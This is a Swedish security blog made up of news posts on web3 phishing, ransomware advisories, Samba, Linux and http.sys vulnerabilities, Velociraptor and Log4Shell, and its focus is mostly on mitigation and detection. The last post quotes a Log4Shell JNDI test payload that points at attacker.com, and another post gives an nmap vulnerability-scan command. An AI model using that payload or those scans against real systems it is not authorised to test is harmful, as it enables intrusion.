Web3 och säkerhetsproblem

Web3 (eller web 3, web 3.0) beskrivs som en decentraliserad form av internet som baseras på blockkedjeteknik. Men länge har det ifrågasatts hur decentraliserad web3 egentligen är, bl.a. genom ett blogginlägg av Signals grundare Moxie Marlinspike.

Själva grundstommen i web 3 består av marknadsplatser såsom OpenSea och Rarible där webbläsar-tillägg såsom Metamask och TrustWallet används (dApps) och decentralized finance (DeFi) är också ett begrepp som cirkulerar. Men bara för att det är tillägg till webbläsaren och du själv sitter på dina privata nycklar så används olika centraliserade API:er.

Metamask

Senaste dagarna så har även phishingen ökat markant, speciellt eftersom få läser igenom de smarta Ethereum-kontrakt som man godkänner via sin webbläsar-plånbok. Det har även visat sig att det går att skapa kontrakt där ett enda godkännande kan användas för att stjäla samtliga NFT:er som någon äger. Och för den som inte är insatt så står NFT för Non-fungible token och används främst för att köpa och sälja digital konst.

Bild på hur phishing kan se ut via E-post där någon utger sig för att vara marknadsplatsen OpenSea:

Och förutom E-post så används även Discord i stor utsträckning. Även så förekommer andra sociala medier såsom Twitter:

Och att bli av med en eller NFT:er kan innebära stora summor. Den senaste Bored Ape Yacht Club (BAYC) såldes för 2.3 miljoner kronor. Men jag är dock positiv till hela rörelsen med Web 3 och anser att det vi ser nu är bara initiala problem. För flertalet problem har redan lösts eller håller på att lösa sig såsom att många NFT:er förlitar sig på centrala servrar eller IPFS-pekare som är single point of failures. Därför har flertalet projekt nu konverterat till NFT on-chain.

Phishingen är dock inte lika enkel att lösa rent tekniskt: Framförallt gäller det att begränsa vilka sajter man godkänner i MetaMask samt se över vilka godkännande man har, se exempelvis Etherscan Token Approval Checker. Att använda sig av flertalet wallets såsom en ”burner wallet”, men inte lika enkelt då gas fees (transaktionsavgifterna) är relativt höga på Ethereum-nätverket.

Och har man blivit av med en NFT eller kryptovaluta så är det svårt att få tillbaka dessa. Just för att det inte finns någon central styrning. Men att använda stulen kryptovaluta eller NFT:er måste någon gång omsättas och då finns det skydd på de flesta centrala handelsplatserna och därför använder kriminella exempelvis over-the-counter transaktioner (OTC) eller Tornado Cash mixer.

Sammanfattning

Jag tror Web3 är här för att stanna och problemen vi ser just nu bara är initiala problem och växtvärk. Oavsett vilken bransch man verkar inom så är phishing svårt att förbygga men det går, bl.a. genom tekniska lösningar och utbildning.

Skulle det inte vara möjligt för Metamask och andra att ge någon slags fingervisning vad kontraktet man godkänner verkligen innehåller?

Givetvis så har även marknadsplatserna en hel del att lära och utveckla:

Wyvern (ERC20, ERC721) är ett av de protokoll som smarta kontrakt som Ethereum använder sig av.

Ransomware-attacker blir mer sofistikerade

CISA Ransomware-attacker blir mer sofistikerade

Amerikanska cybersäkerhetsmyndigheten Cybersecurity and Infrastructure Security Agency (CISA) gick för några dagar sedan ut med en varning gällande att ransomware-attacker blir allt mer sofistikerade.

Varningen skickades ut av CISA tillsammans med motsvarande myndigheter från Storbritannien och Australien. Framförallt gäller det två trender som myndigheterna ser:

  • Initial tillgång till systemen sker via RDP, phishing eller attacker som utnyttjar svagheter och brister i mjukvaror. Även ser man en uppgång där läckta användarnamn eller lösenord används för initial access, eller brute-force av lösenord/användarnamn.
  • En ökning av ransomware-as-a-service (RaaS) där cyberskurkarna köper och säljer tjänster av varandra. De blir mer professionella och fungerar mer som riktiga företag och organisationer skulle göra.

Tyvärr så fortsätter utpressarna att tjäna pengar och gör att de kan gå efter ännu större mål och göra ännu mer omfattande skador:

Every time a ransom is paid, it confirms the viability and financial attractiveness of the ransomware criminal business model.

Tidigare så genomförde ransomware-gängen vad som kallas “big-game” hunting och försökte ge sig på stora amerikanska bolag. Men FBI var aktiva och lyckades slå ner och begränsa förmågan hos de som utförde attackerna. Detta har dock fått till följd att ransomware-gängen nu ger sig på medelstora bolag och framförallt många nya branscher såsom: hälsa och sjukvård, finansiella tjänster, utbildning, mathandel, offentlig verksamhet och jurister.

Utpressningsmetoderna utvecklas också och förutom att kryptera och göra information otillgänglig, så gör man också internetaccess obrukbar samt hotar att släppa information och informera eventuella investerare och konkurrenter om intrånget.

Övrigt värt att nämna är att man ser en ökning där man ger sig på underleverantörer och leverantörer som i fallet med Coop och Kaseya. Attackerna sker ofta på helger och vid högtider då mindre personal är på plats och kan förhindra ett aktivt pågående intrång. En ökning sker även mot industrier som har värdefulla processer som måste vara uppe och fungera, samt mot managed service providers (MSPs) som hanterar många kunder.

Åtgärder för att förhindra och försvåra ransomware-attacker

Att förhindra och försvåra ransomware-attacker är ingen enkel och lätt match, utan flertalet åtgärder måste vidas. Och inte bara en gång utan det är viktigt att jobba med dessa frågor långsiktigt och systematiskt.

Denna lista har CISA släppt för att försvåra ransomware-attacker:

  • Håll all mjukvara uppdaterad med senaste säkerhetspatchar, se även över hårdvara som behöver uppdateras. Kontrollera även så att mjukvara inte har blivit eller snart kommer att bli End-of-life (EOL)
  • Kontinuerligt genomför automatisk sårbarhetsskanning. Se även över tredjepartsbiblioteket som behöver uppdateras
  • Slå på säkerhetsfunktioner och stäng av tjänster som inte används, framförallt se över RDP. Och använd VPN samt MFA (multifaktorsautentisering). Övervaka alla inloggningar över RDP och se till att det finns inställning som är satt för antalet misslyckade inloggningsförsök.
  • Träna och utbilda anställda med bl.a. phishing-medvetenhet
  • Använd multifaktorsautentisering överallt och se till att långa unika lösenord används. Att inte lösenord återanvänds
  • Om Linux används se till att SELinux, AppArmor eller SecComp används för defence in depth
  • Vid nyttjande av molnlösningar se till att backup finnes på flertalet ställen åtskilda

Rekommendationer för att försvåra för angripare att ta sig vidare i nätverken och systemen:

  • Segmentera nätverket
  • Implementera end-to-end kryptering såsom mutual Transport Layer Security (mTLS) 
  • Använd nätverksintrångsdetektering för att se avvikelser på nätverksnivå
  • Dokumentera externa anslutningar
  • Inför tidsbaserad åtkomst för administrativa konton
  • Minimera konton och behörigheter som är administrativa
  • Håll backuper offline och testa att återställa dessa
  • Använd telemetridata och inte enbart lokalt utan även från molntjänster. Såsom hur APIer nyttjas, flow logs, token logs, nedladdningar osv

Här kan du ladda ner PDF-dokumentet med samtliga rekommendationer i sin helhet:

Scanning Made Easy från NCSC

National Cyber Security Centre (NCSC)

Scanning Made Easy är ett nytt initiativ från brittiska säkerhetscentret National Cyber Security Centre (NCSC). Projektet går ut på att tillhandahålla Nmap-script (så kallade NSE:er) för att söka efter sårbarheter. Projektet uppstod eftersom det ofta finns en frustation när nya sårbarheter släpps och det som oftast finns kod för att utnyttja sårbarheterna men inte att söka efter sårbara system. För detta är en viktig del för de personer som vill snabbt identifiera sårbara IT-system inom sina nätverk. Givetvis kan också illasinnade aktörer använda dessa script.

Det finns redan en nu en mall publicerad som man bör följa om man vill publicera egna script samt så finns det ett script för att söka efter Exim-sårbarheterna 21Nails från 2021-05-04. (CVE-2020-28017 till CVE-2020-28026).

Skärmdump på hur det kan se ut när scriptet hittar ett sårbart system:

Kommandoraden för att använda NSE-scriptet och scanna är följande:

nmap --script smtp-vuln-cve2020-28017-through-28026-21nails.nse -p 25,465,587 1.2.3.4

Och scriptet kan du wgetta/curla hem här: https://github.com/nccgroup/nmap-nse-vulnerability-scripts/blob/master/smtp-vuln-cve2020-28017-through-28026-21nails.nse

Oklart dock var framtida script kommer att läggas: Om det är på NCC Groups github-repo eller NCSC.

RCE i Samba vfs_fruit

Uppdatering: Nu har Zero Day Initiative släppt mer information. Men fortfarande så kräver denna sårbarhet att fruit-modulen används samt skrivrättigheter (eller gästkonto).

Samba är en populär open-source mjukvara för att möjliggöra så att Windows kan prata med Unix/Linux-system via SMB/CIFS-protokollet. Samba har funnits sedan 1992 och är licensierat under GNU General Public License.

Igår så publicerade projektet tre advisories där den allvarligaste har CVSS på 9.9 vilket är mycket allvarligt. Sårbarheten är identifierad av Orange Tsai från DEVCORE och beskrivs på följande sätt:

Out-of-bounds heap read/write vulnerability in VFS module vfs_fruit allows code execution

Enligt buggrapporten från Samba så är man sårbar om man använder modulen vfs_fruit. Som man nästan kan höra på namnet så underlättar denna modul kommunikation med Apple SMB och Netatalk 3 AFP.

Och denna bugg har fått CVE-2021-44142, samtliga tre sårbarheter finns att beskåda på följande länk:

Velociraptor för threat hunting

Velociraptor digital forensics and incident response (DFIR)

Velociraptor är ett digital forensics and incident response (DFIR)-verktyg som är utvecklat av Mike Cohen. Mike jobbade tidigare på Google och var då med och utvecklade Googles verktyg för IT-incidentutredningar vid namn Google Rapid Response (GRR).

Velociraptor är gratis och använda och det finns ett aktivt community som ständigt släpper nya VQL såsom denna som kan detektera CVE-2021-4034 (PwnKit aka polkit pkexec) eller denna (Log4jVulnHunter) för Log4j-sårbarheten. VQL är ett SQL-liknande språk för att skriva ”hunts” eller monitor-regler.

Klienten för Velociraptor går att köra på Windows, Linux och macOS samt så använder den TLS för kommunikationen mellan klient och server.

Tre tre främsta användningsområden för Velociraptor är följande:

  • Insamling av data och artefakter
  • Övervakning och monitorering
  • Threat hunting

Du har även möjlighet att ladda hem och köra tredjepartsprogram såsom Sysinternals Autoruns och använda den informationen för vidare analys. Och inbyggt så finns det stöd för att söka efter Indicators of Compromise och liknande med Yara. Minnesdumpar kan hämtas in med en winpmem och en VQL heter Acquisition.

Du kan även skicka vidare information som Velociraptor hämtar in till andra system som är bättre på att analysera mängder med information såsom Splunk eller Elasticsearch.

En av fördelarna som jag ser med Velociraptor är att tiden för mean time to detect (MTTD) och mean time to respond (MTTR) kan förkortas.

Men vad finns det för nackdelar då? Jo, tröskeln att komma igång och lära sig verktyget kan ta några dagar. Du inför även en ytterligare komponent till din IT-miljö där säkerhetsbrister kan uppstå.

Men sammanfattningsvis så rekommenderar jag helt klart Velociraptor om ni ej har en liknande förmåga i dagsläget i Er IT-miljö.

Skärmdumpar

Insamling av DNS-loggar via Event Tracing for Windows (ETW)
Ett jobb som samlar in scheduled tasks i Windows
Jag testar PwnKit exploiten och kör sedan en hunt för att identifiera den. Lyckas bra!
Hur det ser ut när man loggar in i Admin GUI:t. Visar server status som standard

Om du vill läsa mer och lära dig om Velociraptor rekommenderar jag hemsidan här:

Sammanfattning

Velociraptor är ett mycket bra komplement till Er redan befintliga miljö som troligtvis innehåller flertalet förmågor för att upptäcka och försvåra intrång. Tanken är inte att Velociraptor ska byta ut OSSEC, Wazuh, Sysmon, auditd eller liknande. Inte heller är Velociraptor ett antivirus-system som automatiskt uppdateras med nya IoC:er, men givetvis kan det till viss del utföra alla dessa funktioner.

Bildkälla

Två nya Linux-sårbarheter

Det är ingen bra vecka för Linux-baserade operativsystem såsom Debian, Ubuntu, Fedora och CentOS. Minst två olika sårbarheter har upptäckts och program för att nyttja dessa sårbarheter finns publicerade.

De två sårbarheterna som är aktuella just nu är en som går under namnet PwnKit och utnyttjar en brist i pkexec som är en del av Polkit, CVE-2021-4034. Den andra buggen är en kernel-bugg som kan användas för att göra Docker/container samt escapes från Kubernetes. För denna sista bugg så betalade Google ut en Bug Bounty på hela $31337 vilket är ungefär 300,000 svenska kronor.

Video där Qualys som identifierade sårbarheten visar hur polkit-buggen utnyttjas på Debian Bullseye:

Den andra Linux-kernelbuggen identifierades av CTF-teamet Crusaders of Rust där bl.a. William Liu och Jamie Hill-Daniel ingår, den har CVE-2022-0185.

För att buggen ska fungera på Docker så måste –privileged användas samt så hjälper den standard-seccomp profil som följer med. Men tyvärr är det inte allt för ofta som seccomp används för containers.

Det finns en exploit här och jag kan verkligen rekommendera deras utförliga write-up här:

Uppdatering: Amazon Linux 2 har inte polkit installerat som standard. Men om du installerar polkit så är det nuvarande paketet sårbart.

Remote Code Execution i Windows http.sys

Remote Code Execution i Windows http.sys

På tisdagen var det åter igen för Microsofts månatliga patch-release. En av de mer intressanta säkerhetsbristerna som åtgärdades var en Remote Code Execution (RCE) brist i http.sys. Sårbarheten har fått CVE-2022-21907.

Denna sårbarhet återfinns i hanteringen av HTTP-headers och mer specifikt HTTP trailers (RFC7230) och Microsoft uppger att sårbarheten kan utnyttjas för att spridas per automatik ”wormable”.

Som förmildrande åtgärd har Microsoft uppget att ta bort registernyckeln EnableTrailerSupport om den finns under denna sökväg:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters

Värt att notera är också att den har en CVSS base score på 9.8 av 10. Microsoft uppger även att standardinstallationer av Windows Server 2019 och Windows 10 version 1809 inte är sårbara, utan enbart om man manuellt slår på EnableTrailerSupport. Sårbarheten finns inte i Windows 10, version 1909.

Det är inte första gången som brister identifieras i http.sys, för att nämna några tidigare RCEer:

Identifiera log4j med OSS-Fuzz och några säkerhetshöjande tips

Såhär i efterhand är det bra att dra lärdomar från log4j-sårbarheten och hur vi i framtiden kan förhindra liknande sårbarheter. En av mina personliga metoder är att genomföra fuzz-tester för att identifiera indikationer på att något är fel i ett system, bibliotek eller mjukvara.

Ett av Googles projekt som har identifierat flest antal sårbarheter genom tiderna heter OSS-Fuzz och drivs av ett antal backends såsom  libFuzzerAFL++ och Honggfuzz. I början av 2021 så fick libFuzzer stöd för att fuzza Java-kod med hjälp av Jazzer. Främst kod som är skriven JVM-baserade språk, såsom Java, Kotlin och Clojure.

Bildkälla: code-intelligence.com

För den fuzzing-kod som har hand om Remote JNDI-lookups så går den att se här. Men givetvis är fuzz-tester inte enbart den enda lösningen på att bygga säkra och robusta IT-system. Några andra säkerhetshöjande åtgärder för att försvåra attacker såsom Log4Shell (log4j) i framtiden:

  • Begränsa så att servrar och klienter inte får prata godtyckligt ut mot internet. Gäller även DNS-uppslag
  • Använd data-dioder för att föra in loggar i fysiskt separerade system. Till exempel en SOC/SIEM (airgap)
  • Se över Er software bill of materials (SBOM)
  • Genomför regelbundet automatiska och manuella penetrationstester
  • Öva regelbundet olika scenarior där ni exempelvis snabbt måste identifiera ett tredjepartsbibliotek och begränsa skadan som kan uppstå till följd av en sårbarhet
  • Se till att ni har verktyg som stödjer alla olika former av aktiviteter såsom den på raden ovan. Buzz-word för ett sådant verktyg kan vara Endpoint Detection & Response (EDR). Rekommenderar att snegla på Velociraptor (blogginlägg kommer)
  • Mjukvaror, system osv bör separeras så mycket som det går och gå med så låga behörigheter som möjligt. Se till att ha en förmåga att logga om en mjukvara avviker från detta
  • Ställ relevanta säkerhetskrav vid anskaffning av produkter och system. Följ upp så att dessa krav efterlevs

Photo by Danial Igdery on Unsplash

Log4shell

Log4shell CVE-2021-44228
Logo av Kevin Beaumon

Blogginlägget uppdaterat 2021-12-13 klockan 09:35

Jag har försökt att samla upp alla intressanta länkar och information i detta blogginlägg gällande den nya sårbarheten Log4shell, CVE-2021-44228 som påverkar hundratals om inte tusentals olika produkter och system. Obs: denna sårbarhet kallades felaktigt först för Logjam, men det är en äldre sårbarhet som har och göra med SSL/TLS.

Jag har skapat en lista med några saker som Er organisation bör genomföra mer eller mindre omgående. Inte direkt i någon prioriteringsordning, utan alla bör köras samtidigt:

  1. Kontrollera med leverantören av era produkter eller system om de har släppt någon patch
  2. Gör aktiv genomsökning efter sårbarheten. Främst från internet
  3. Använd ett EDR eller verktyg som ni har på servrar och klienter för att söka efter hashar/log4j biblioteket
  4. Detektion av utnyttjande av sårbarheten samt incidenthantering

När det gäller första punkten så kan jag tipsa om denna lista som försöker sammanställa system som är sårbara:

Och för andra punkten så kan jag rekommendera att använda Nuclei-scanner eller Burp Suite där plugins såsom ActiveScan++ eller Burp Bounty.

Och gällande punkt nummer tre så bör ni söka igenom efter följande hashar som länkas här. Men observera att de kan ligga i komprimerade jar-filer. Även detta script kan användas:

Log4shell IOCs: https://github.com/curated-intel/Log4Shell-IOCs

För punkt nummer fyra kan det vara lite trixigare. För att detektera om sårbarheten har utnyttjas så kan det vara svårt med grep osv. Främst för att det finns så otroligt många sätt att obfuskera payloaden, men kolla in denna lista för några tips:

Måste också nämna att Cybereason har tagit fram en exploit så patchar log4j. Rätt fyndigt:

Cloudflare har listat några av de payloads som de detekterat ute på internet:

Och sist men inte minst så vill du själv testa att utnyttja sårbarheten så finns detta Spring Boot-projekt för testning:

Se även mitt blogginlägg från i fredags här.

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande:

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.